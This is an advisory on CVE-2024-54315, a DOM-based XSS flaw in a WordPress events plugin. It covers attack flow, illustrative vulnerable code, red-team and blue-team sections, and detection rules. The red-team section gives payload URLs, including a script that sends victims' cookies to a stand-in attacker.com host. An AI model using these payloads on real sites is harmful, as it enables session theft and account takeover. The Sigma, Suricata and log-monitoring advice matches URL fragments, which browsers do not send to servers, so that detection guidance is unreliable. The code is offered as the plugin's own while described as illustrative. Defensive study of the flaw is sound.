CVE-2024-54315

Executive Summary

CVE-2024-54315 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Events Addon for Elementor WordPress plugin developed by Nicheaddons. The flaw exists in versions up to and including 2.2.2, where user-supplied input is improperly neutralized during web page generation, allowing an attacker to inject malicious scripts that execute in the victim’s browser within the context of the WordPress site. This vulnerability is classified as CWE-79 and carries a CVSS score of 6.5 (Medium). As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

The attack vector is network-based with low complexity, requiring user interaction (e.g., clicking a crafted link). Successful exploitation can lead to partial confidentiality and integrity impact through session hijacking, credential theft, or defacement. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to:

• Verify the plugin’s integrity by checking checksums from the WordPress plugin directory.
• Monitor for any suspicious updates or unauthorized modifications.
• Consider removing the plugin if no patch is available and a secure alternative exists.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires user interaction, but the widespread use of Elementor and the plugin’s functionality increases the attack surface. DOM-based XSS can bypass traditional server-side filters.

Deep Dive & Mechanics

The vulnerability resides in the Events Addon for Elementor plugin, which extends the Elementor page builder with event management features. The plugin processes user input (e.g., event titles, descriptions, or custom fields) and injects it into the DOM without proper sanitization or encoding. Specifically, the flaw is in how the plugin handles data passed via URL fragments or JavaScript variables, leading to DOM-based XSS.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a fragment identifier (e.g., #<script>alert(1)</script>).
2. The victim clicks the link while logged into the WordPress admin or viewing a page using the Events Addon.
3. The plugin’s JavaScript reads the fragment and inserts it into the DOM without sanitization.
4. The payload executes in the victim’s browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses document.location.hash or similar DOM APIs to retrieve data and directly assigns it to innerHTML or eval() without validation.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a secure alternative.

Vulnerable Code (JavaScript):

// events-addon-for-elementor/assets/js/frontend.js
var hash = window.location.hash.substring(1);
document.getElementById('event-details').innerHTML = hash;

Patched Code (Secure Alternative):

// Secure version using textContent and sanitization
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('event-details').textContent = sanitized;

Key Differences:

• innerHTML is replaced with textContent to prevent HTML injection.
• DOMPurify is used to strip malicious content if HTML is required.
• Input is never directly assigned to eval() or setTimeout().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Events Addon for Elementor <= 2.2.2 installed and active.
• Victim must be logged in and click a crafted link.

Exploit Payload (URL):

https://victim-site.com/events/#<img src=x onerror=alert(document.cookie)>

Steps:

1. Host a phishing page or send the crafted link via email.
2. When the victim clicks, the payload executes, exfiltrating cookies to an attacker-controlled server.
3. Use the stolen session cookie to impersonate the victim.

Advanced Payload (Session Hijacking):

https://victim-site.com/events/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for requests containing #<script or #<img patterns.
• Use browser-based XSS filters (e.g., X-XSS-Protection header).
• Deploy Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

• Disable or remove the plugin until a patch is available.
• Implement input validation on the client side using DOMPurify.
• Use textContent instead of innerHTML in custom code.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_54315_DOM_XSS {
    meta:
        description = "Detects vulnerable JavaScript pattern in Events Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-54315"
    strings:
        $vuln1 = "window.location.hash" ascii wide
        $vuln2 = "innerHTML" ascii wide
        $vuln3 = "document.getElementById" ascii wide
    condition:
        all of ($vuln*) and filesize < 100KB
}

Sigma Rule

title: CVE-2024-54315 DOM XSS in Events Addon for Elementor
id: 8a3f7c2e-5b1d-4f9a-8c6e-2d1a3b4c5d6e
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/events/#<script'
            - '/events/#<img'
            - '/events/#<svg'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54315 DOM XSS in Events Addon for Elementor"; flow:to_server,established; content:"/events/#"; http_uri; pcre:"/(<script|<img|<svg)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Apply virtual patching via WAF rules to block requests containing #<script or similar patterns.
3. Monitor logs for exploitation attempts using the Sigma rule above.

Long-Term Fix:

• The vendor must release a patched version that sanitizes DOM input using textContent or a library like DOMPurify.
• Users should update to version > 2.2.2 once available.

Workarounds:

• Implement a Content Security Policy (CSP) that disallows inline scripts:

  Content-Security-Policy: script-src 'self'; object-src 'none';
  

• Use a browser extension that blocks XSS (e.g., NoScript).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert